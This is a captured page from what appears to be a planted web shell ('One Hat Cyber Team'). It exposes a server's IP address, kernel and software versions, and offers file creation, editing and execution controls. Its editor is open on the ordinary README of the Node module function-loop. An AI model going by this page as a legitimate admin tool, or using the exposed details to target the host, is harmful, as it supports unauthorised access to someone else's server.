One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
node-function-loop
/
Edit File:
README.md
# function-loop Run a list of functions in order in a given object context. The functions can be callback-taking or promise-returning. This module is [zalgo-exposing](http://blog.izs.me/post/59142742143/designing-apis-for-asynchrony), meaning that synchronous calls to the cb functions will result in a sync call to the supplied cb, and async calls will result in the cb being called asynchronously. It does not artificially defer if callbacks are called synchronously. ## API `loop(context, functionList, doneCallback, errorCallback)` Run all the functions in the context of the `context` object, and then call the `doneCallback` or call the `errorCallback` if there are any errors.
Simpan